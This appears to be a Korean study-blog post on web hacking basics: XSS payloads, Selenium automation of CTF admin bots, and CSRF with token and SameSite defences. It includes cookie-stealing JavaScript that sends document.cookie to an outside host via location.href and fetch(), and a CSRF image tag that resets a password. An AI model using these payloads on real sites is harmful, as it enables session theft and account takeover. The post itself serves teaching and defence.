XSS#
XSS(Cross-Site Scripting)는 웹사이트에 공격자가 원하는 스크립트를 삽입하고, 이를 다른 사용자의 브라우저에서 실행시키는 취약점이에요.
웹 브라우저에서는 JavaScript를 이용해 페이지의 내용이나 쿠키 같은 정보를 읽을 수 있고, 사용자를 다른 페이지로 이동시키거나 추가적인 요청을 보내는 것도 가능해요. 따라서 공격자가 원하는 JavaScript를 실행할 수 있게 되면 사용자 세션 탈취, 피싱 페이지 생성, 사용자 대신 기능 실행 등의 공격으로 이어질 수 있어요.
XSS 페이로드#
취약점을 공격하기 위해 입력하는 코드를 Payload 라고 해요.
가장 단순한 XSS 페이로드는 <script> 태그를 사용하는 방법이에요.
<script>alert(1);</script>html웹사이트가 사용자의 입력을 별다른 처리 없이 HTML에 그대로 삽입한다면 브라우저는 위 내용을 일반 문자열이 아니라 <script> 태그로 해석해 JavaScript를 실행해요.
하지만 <script> 태그가 필터링되는 경우에는 HTML의 이벤트 속성을 이용하기도 해요.
<img src=x onerror="alert(1)">html여기서는 src=x라는 존재하지 않는 이미지를 불러오면서 오류가 발생해요. 이미지 로딩에 실패하면 onerror 이벤트가 실행되기 때문에 그 안에 작성한 alert(1)도 같이 실행돼요.
이외에도 onclick, onload 등 다양한 이벤트를 이용할 수 있기 때문에 단순히 <script> 태그만 차단한다고 해서 XSS를 완전히 막을 수 있는 것은 아니에요.
XSS가 발생하는 위치#
XSS를 찾을 때는 사용자가 입력한 값이 다시 웹페이지에 출력되는 부분을 먼저 살펴볼 수 있어요.
예를 들어 게시글, 댓글, 닉네임, 검색어 등이 있어요.
<p>검색 결과: 사용자가 입력한 검색어</p>html여기에 사용자의 입력을 그대로 넣는다면 HTML 태그가 함께 해석될 가능성이 있어요.
따라서 사용자의 입력을 출력할 때는 <, >, ", ' 같은 HTML에서 특별한 의미를 가지는 문자를 적절하게 처리해야 해요.
쿠키 탈취 예시#
XSS가 발생했을 때 현재 페이지의 쿠키는 다음과 같이 확인할 수 있어요.
document.cookiejavascript이를 외부 서버로 전달한다면 다음과 같은 형태를 생각해볼 수 있어요.
location.href =
"https://imnya.ng/?cookie=" + encodeURIComponent(document.cookie);javascript또는 요청만 보내고 페이지 이동을 하지 않을 수도 있어요.
fetch(
"https://imnya.ng/?cookie=" +
encodeURIComponent(document.cookie)
);javascript다만 쿠키에 HttpOnly 속성이 설정되어 있다면 JavaScript에서 document.cookie를 이용해 해당 쿠키를 읽을 수 없어요.
따라서 실제 XSS 공격은 쿠키 탈취뿐만 아니라 사용자 대신 요청을 보내거나 페이지의 내용을 변조하는 방식으로도 사용될 수 있어요.
Selenium#
Selenium은 웹 브라우저를 사람이 직접 조작하지 않아도 자동으로 실행하고 제어할 수 있게 해주는 도구예요.
예를 들어 자동으로
웹페이지 접속
→ 로그인
→ 특정 버튼 클릭
→ 값 입력
→ 페이지 내용 확인text같은 작업을 수행할 수 있어요.
원래는 웹사이트가 정상적으로 동작하는지 자동으로 테스트하기 위해 많이 사용하지만, 웹 해킹 워게임이나 CTF에서는 관리자나 특정 사용자의 브라우저를 대신하는 Bot을 만드는 데에도 자주 사용돼요.
예를 들어 사용자가 입력한 URL을 관리자 Bot이 방문하도록 만들면, 공격자는 해당 페이지에서 XSS를 발생시켜 관리자 브라우저에서 JavaScript를 실행시키는 것을 목표로 할 수 있어요.
Node.js에서는 비슷한 브라우저 자동화 도구로 Puppeteer나 Playwright도 많이 사용해요.
Selenium 기본 설정#
Python에서는 다음과 같이 Selenium을 사용할 수 있어요.
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.options import OptionspythonChrome을 화면 없이 실행하고 싶다면 Options를 사용할 수 있어요.
options = Options()
options.add_argument("--headless")
options.add_argument("--window-size=1920,1080")
options.add_argument("--disable-gpu")
driver = webdriver.Chrome(options=options)python--headless 옵션을 사용하면 실제 브라우저 창을 화면에 띄우지 않고 백그라운드에서 Chrome을 실행할 수 있어요.
Selenium 4.6 이후 버전에서는 Selenium Manager를 통해 ChromeDriver 같은 브라우저 드라이버를 자동으로 관리할 수도 있어요.
페이지 이동#
특정 웹페이지에 접속하려면 get()을 사용해요.
driver.get("https://example.com")python브라우저의 기본적인 이동 기능도 사용할 수 있어요.
driver.back() # 이전 페이지
driver.forward() # 다음 페이지
driver.refresh() # 새로고침
print(driver.current_url) # 현재 URL
print(driver.title) # 페이지 제목python브라우저 전체 HTML을 가져오고 싶다면 page_source를 사용할 수 있어요.
html = driver.page_sourcepythonHTML 요소 찾기#
웹페이지의 버튼이나 입력창을 조작하려면 먼저 해당 HTML 요소를 찾아야 해요.
가장 기본적인 함수는 find_element()예요.
element = driver.find_element(By.ID, "search")python요소를 찾는 방법에는 여러 가지가 있어요.
driver.find_element(By.ID, "search")
driver.find_element(By.NAME, "q")
driver.find_element(By.CLASS_NAME, "btn")
driver.find_element(By.TAG_NAME, "input")
driver.find_element(
By.CSS_SELECTOR,
"div.container > input"
)
driver.find_element(
By.XPATH,
"//input[@type='text']"
)
driver.find_element(By.LINK_TEXT, "로그인")
driver.find_element(By.PARTIAL_LINK_TEXT, "로그")python각 방식은 HTML의 서로 다른 특징을 이용해 요소를 찾아요.
예를 들어
<input id="search" name="q" type="text">html라는 요소가 있다면 다음과 같이 찾을 수 있어요.
driver.find_element(By.ID, "search")
driver.find_element(By.NAME, "q")python여러 개의 요소를 한 번에 찾고 싶다면 find_elements()를 사용해요.
elements = driver.find_elements(By.CLASS_NAME, "item")
for element in elements:
print(element.text)pythonfind_element()는 하나의 요소를 반환하지만, find_elements()는 여러 요소가 들어 있는 리스트를 반환해요.
요소 조작#
찾은 HTML 요소는 실제 사용자가 브라우저를 조작하는 것처럼 제어할 수 있어요.
element.click()python위 코드는 해당 요소를 클릭해요.
입력창에 문자열을 입력하려면 send_keys()를 사용해요.
element.send_keys("Layer7")python특수 키도 입력할 수 있어요.
element.send_keys(Keys.ENTER)python입력창의 내용을 지울 수도 있어요.
element.clear()python요소의 텍스트나 HTML 속성을 가져오는 것도 가능해요.
print(element.text)
print(
element.get_attribute("href")
)python요소의 상태를 확인하는 함수도 있어요.
element.is_displayed()
element.is_enabled()
element.is_selected()python각각 요소가 화면에 표시되는지, 사용할 수 있는지, 체크박스 등이 선택되어 있는지를 확인해요.
페이지가 로딩될 때까지 기다리기#
웹페이지의 요소는 페이지에 접속하자마자 바로 나타나지 않을 수도 있어요.
JavaScript를 통해 나중에 생성되는 요소라면 일정 시간 기다려야 할 수 있어요.
이때 WebDriverWait을 사용할 수 있어요.
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as ECpython예를 들어 result라는 ID를 가진 요소가 나타날 때까지 최대 10초 동안 기다릴 수 있어요.
element = WebDriverWait(driver, 10).until(
EC.presence_of_element_located(
(By.ID, "result")
)
)python요소가 클릭 가능한 상태가 될 때까지 기다릴 수도 있어요.
element = WebDriverWait(driver, 10).until(
EC.element_to_be_clickable(
(By.ID, "submit")
)
)
element.click()python단순히 time.sleep()을 사용하는 것보다 필요한 요소가 실제로 준비될 때까지만 기다릴 수 있다는 장점이 있어요.
쿠키 조작#
Selenium에서는 브라우저의 쿠키를 직접 추가하거나 확인할 수도 있어요.
driver.add_cookie({
"name": "test",
"value": "hello"
})python현재 등록된 쿠키를 가져올 수도 있어요.
cookie = driver.get_cookie("test")
cookies = driver.get_cookies()python삭제도 가능해요.
driver.delete_cookie("test")
driver.delete_all_cookies()python이 기능은 웹 해킹 워게임의 관리자 Bot에서 특히 자주 볼 수 있어요.
예를 들어 다음과 같은 코드가 있다고 해볼게요.
driver.get("http://127.0.0.1:8000/")
driver.add_cookie({
"name": "flag",
"value": "FLAG"
})
driver.get(user_url)python먼저 서비스에 접속한 뒤 관리자만 가지고 있는 쿠키를 설정하고, 이후 사용자가 입력한 URL을 방문하는 구조예요.
이 상태에서 방문한 페이지에 XSS 취약점이 있다면 공격자가 작성한 JavaScript가 관리자 Bot의 브라우저에서 실행될 수 있어요.
그래서 XSS 워게임에서는 Selenium이나 Puppeteer로 만들어진 Bot 코드와 쿠키가 어떻게 설정되는지를 확인하는 것이 중요해요.
JavaScript 실행#
Selenium에서는 브라우저에서 직접 JavaScript를 실행할 수도 있어요.
driver.execute_script(
"alert('Hello');"
)pythonJavaScript의 실행 결과를 Python으로 가져올 수도 있어요.
title = driver.execute_script(
"return document.title;"
)
print(title)python찾아놓은 HTML 요소를 JavaScript 코드에 전달하는 것도 가능해요.
driver.execute_script(
"arguments[0].click();",
element
)pythonarguments[0]에는 Python에서 전달한 element가 들어가요.
Alert 처리#
JavaScript의 alert()가 실행되면 Selenium으로 해당 Alert를 제어할 수 있어요.
alert = driver.switch_to.alert
print(alert.text)
alert.accept()pythonaccept()는 확인 버튼을 누르는 것과 같아요.
취소 버튼을 누르고 싶다면 다음과 같이 사용할 수 있어요.
alert.dismiss()pythonXSS 테스트에서
<script>alert(1);</script>html같은 페이로드가 실제로 실행되었는지를 자동으로 확인할 때 사용할 수도 있어요.
iframe 이동#
iframe 내부의 요소는 일반 페이지와 별도의 문서에 있기 때문에 바로 접근할 수 없는 경우가 있어요.
먼저 iframe으로 이동해야 해요.
iframe = driver.find_element(
By.TAG_NAME,
"iframe"
)
driver.switch_to.frame(iframe)python이후에는 iframe 내부의 요소를 찾을 수 있어요.
driver.find_element(
By.ID,
"button"
).click()python다시 원래 페이지로 돌아오려면 다음과 같이 사용해요.
driver.switch_to.default_content()python탭과 창 이동#
현재 열려 있는 탭은 window_handles를 통해 확인할 수 있어요.
print(driver.window_handles)python다른 탭으로 이동하려면 다음과 같이 사용해요.
driver.switch_to.window(
driver.window_handles[1]
)pythonJavaScript를 이용해 새로운 탭을 만들 수도 있어요.
driver.execute_script(
"window.open('https://example.com');"
)python드롭다운#
HTML의 <select> 요소는 Select 클래스를 이용하면 편하게 제어할 수 있어요.
from selenium.webdriver.support.ui import Selectpython예를 들어
<select id="color">
<option value="red">빨강</option>
<option value="blue">파랑</option>
</select>html가 있다면 다음과 같이 선택할 수 있어요.
select = Select(
driver.find_element(By.ID, "color")
)
select.select_by_value("red")python표시되는 문자열을 기준으로 선택할 수도 있어요.
select.select_by_visible_text("빨강")python스크린샷#
현재 브라우저 화면을 이미지로 저장할 수도 있어요.
driver.save_screenshot(
"screenshot.png"
)python자동화 테스트 과정에서 페이지가 어떤 상태인지 확인할 때 유용해요.
브라우저 종료#
현재 탭만 닫으려면 close()를 사용해요.
driver.close()pythonSelenium으로 실행한 브라우저 전체를 종료하려면 quit()을 사용해요.
driver.quit()python보통 프로그램이 끝날 때는 quit()을 사용해 Chrome 프로세스까지 함께 종료하는 것이 좋아요.
Selenium에서 자주 사용하는 문법#
정리하면 웹 해킹 문제에서 특히 자주 볼 수 있는 Selenium 문법은 다음과 같아요.
driver.get(url)python특정 URL에 접속해요.
driver.add_cookie({...})python브라우저에 쿠키를 설정해요.
driver.find_element(...)pythonHTML 요소를 찾아요.
element.click()
element.send_keys("text")python사용자가 클릭하거나 입력하는 동작을 자동화해요.
driver.execute_script(...)python브라우저에서 JavaScript를 직접 실행해요.
driver.quit()python브라우저를 종료해요.
CSRF#
CSRF(Cross-Site Request Forgery)는 로그인된 사용자가 자신도 모르게 공격자가 원하는 요청을 보내게 만드는 취약점이에요.
XSS가 사용자의 브라우저에서 공격자의 JavaScript를 실행시키는 공격이라면, CSRF는 사용자가 이미 로그인되어 있다는 점을 이용해 정상적인 요청처럼 보이는 요청을 보내는 공격이라고 볼 수 있어요.
CSRF 공격 예시#
다음과 같이 비밀번호를 변경하는 기능이 있다고 가정해 볼게요.
/reset?password=1234text만약 로그인된 사용자가 이 URL에 접근하기만 해도 비밀번호가 변경된다면 문제가 생겨요.
공격자는 피해자가 다음과 같은 주소를 방문하도록 유도할 수 있어요.
<img src="https://mizuki.guru/reset?password=1234">html브라우저는 이미 mizuki.guru에 로그인되어 있다면 해당 사이트의 쿠키를 요청에 함께 보낼 수 있어요.
그러면 서버 입장에서는 실제 사용자가 보낸 요청과 공격자가 유도한 요청을 구별하지 못하고 비밀번호를 변경할 수도 있어요.
결국 피해자는 직접 비밀번호 변경 버튼을 누르지 않았는데도 공격자가 지정한 비밀번호로 계정 정보가 변경되는 상황이 발생해요.
CSRF 방어#
CSRF를 막는 대표적인 방법으로는 CSRF Token이 있어요.
서버에서 사용자의 페이지마다 공격자가 알기 어려운 임의의 값을 발급하고,
<input type="hidden" name="csrf_token" value="random-value">html요청을 받을 때 이 값이 정상적인지 확인하는 방식이에요.
공격자는 다른 사이트에서 사용자의 쿠키를 이용해 요청을 보내는 것은 가능하더라도 정상적인 CSRF Token 값을 알기 어렵기 때문에 요청을 위조하기 힘들어져요.
쿠키의 SameSite 속성을 설정하는 것도 CSRF 공격을 줄이는 데 도움이 돼요.
-----BEGIN SSH SIGNATURE-----
U1NIU0lHAAAAAQAAADMAAAALc3NoLWVkMjU1MTkAAAAg4c/dn4BitGH1/xNjKoKEp97I2b
eU57QXvkDBEdNNrEMAAAATYmxvZy5pbW55YS5uZy9wb3N0cwAAAAAAAAAGc2hhNTEyAAAA
UwAAAAtzc2gtZWQyNTUxOQAAAED7eurfo8EPcTzISOM6USEaclK7XVljARkzToiTawaaHo
zRa7kcGBErmSDa0D9oY6dzBpgETXWqP3wHa5RU0D8K
-----END SSH SIGNATURE-----